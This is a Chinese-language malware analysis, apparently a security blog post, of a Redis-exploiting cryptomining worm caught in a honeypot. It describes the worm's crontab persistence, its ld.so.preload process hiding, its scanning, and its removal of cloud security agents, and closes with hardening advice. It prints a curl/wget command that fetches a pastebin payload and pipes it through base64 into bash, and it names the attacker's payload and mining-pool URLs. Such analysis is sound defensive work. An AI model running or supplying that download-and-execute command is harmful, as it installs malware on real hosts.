1. 程式人生 > >一次Redis未授權訪問漏洞入侵分析

一次Redis未授權訪問漏洞入侵分析

0x00 簡介

通過之前部署的蜜罐系統,我近日在滴滴雲上捕獲到了一個通過 Redis 未授權訪問漏洞進行入侵的蠕蟲樣本,該樣本的特點是使用 Python 指令碼進行橫向漏洞掃描,並且具有程序隱藏和解除安裝某些雲上安全產品的功能。

0x01 樣本分析

通過蜜罐日誌得到攻擊者入侵開始於通過 Redis 寫 crontab:
在這裡插入圖片描述
命令中的 URL https://pastebin.com/raw/1NtRkBc3 其實是一箇中轉,實際樣本檔案為 https://pastebin.com/raw/tRxfvbYN 在 base64 解碼後的結果為:

curl https://pastebin.com/raw/1NtRkBc3

(
curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash

解碼後是一個 300+ 行的 shell 指令碼,該指令碼共有 9 個函式:

  • kills:根據關鍵字殺掉其他木馬的程序和檔案
  • system:從 https://pastebin.com/raw/CnPtQ2tM 下載 shell 指令碼到 /bin/httpdns,然後建立定時任務定時執行該指令碼,該指令碼較本樣本多了 init 函式:
    在這裡插入圖片描述
    • 該函式從 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg
      下載可執行檔案到 /usr/sbin/netdns/etc/init.d/netdns,然後使用 chkconfig --add netdns 設定自動啟動,該檔案使用了 UPX 壓縮,解壓之後的內容即為執行 shell 命令下載的樣本:
      在這裡插入圖片描述
  • top:從 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg 下載動態連結庫檔案到 /usr/local/lib/libdns.so,然後將該路徑寫入到 /etc/ld.so.preload,從而使該庫得以在其他可執行檔案執行時被載入,該檔案 hook 了 readdir 這個函式,使其忽略 /proc/kworkerds
    這個程序對應的檔案,從而導致 top 等命令無法檢視到 kworkerds 這個程序,而這個程序就是後面要提到的挖礦主程序:
    在這裡插入圖片描述
    在這裡插入圖片描述
    在這裡插入圖片描述
  • python:使用 Python 解碼並執行一段 base64 資料:
    在這裡插入圖片描述
    • 這段程式碼實際也是為了中轉,最終執行的 Python 程式碼如下:
      在這裡插入圖片描述
      • 該指令碼從 ident.me 獲取 IP 地址並掃描 B 段,這裡需要注意的是,除了掃描 6379 埠的 Redis 未授權訪問,該指令碼還對 8161 埠的 ActiceMQ 任意檔案上傳漏洞(CVE-2016-3088)進行了掃描
  • echocron:建立定時任務,定時下載該樣本:
    在這裡插入圖片描述
  • tables:更改 iptables,僅允許本地訪問 6379 埠,防止其他入侵者繼續入侵:
    在這裡插入圖片描述
  • uninstall:解除安裝阿里雲安騎士和騰訊云云鏡這兩款主機安全產品,由此可見該蠕蟲主要針對目標是國內的雲主機:
    在這裡插入圖片描述
  • downloadrun:下載挖礦檔案並執行:
    在這裡插入圖片描述
    • 可以看到該挖礦檔名稱 kworkerds 即為上面提到的動態庫想要隱藏的程序名。
  • downloadrunxm:從 https://master.minerxmr.ru/y/1540521844x-1404729716.jpg 下載挖礦配置檔案,並且根據機器架構下載不同的挖礦程式並執行,挖礦的礦池地址為 stratum+tcp://x1.minerxmr.ru:56415

各函式的呼叫順序如下:
在這裡插入圖片描述

從上述分析可以看到,這是一個針對 Redis 未授權訪問漏洞的蠕蟲,攻擊者利用 pastebin.com 這種第三方檔案傳輸服務來隱藏自身的位置(雖然後面使用了 ident.me 這個個人域名),使用動態連結庫 hook 來隱藏程序,並且解除安裝了主流主機安全產品,可見入侵手法相對高階並具有針對性。

0x02 安全建議

Redis 未授權訪問漏洞已經是一個常見漏洞,對於攻擊者來說,該漏洞利用門檻低,成功利用後往往能獲取較高許可權,所以已被大量木馬蠕蟲所利用。建議使用者使用以下方式對該漏洞進行防護:

  1. 設定 Redis 只能本機訪問:在 redis.conf 中設定 bind 127.0.0.1
  2. 更改預設埠:在 redis.conf 中設定 port 埠
  3. 設定認證:在 redis.conf 中設定 requirepass 密碼
  4. 在雲控制檯安全組中設定安全組,僅允許指定 IP 訪問 Redis 所在埠
  5. 以低許可權使用者執行 Redis

如果發現漏洞已存在,建議通過以下方法檢查是否已被入侵:

  1. 檢查 crontab 等敏感檔案,對於滴滴雲的使用者來講,可以從主機安全的介面直接看到相關內容:

在這裡插入圖片描述

  1. 下載靜態連結版本的命令檔案比如 lstop 檢視系統狀態。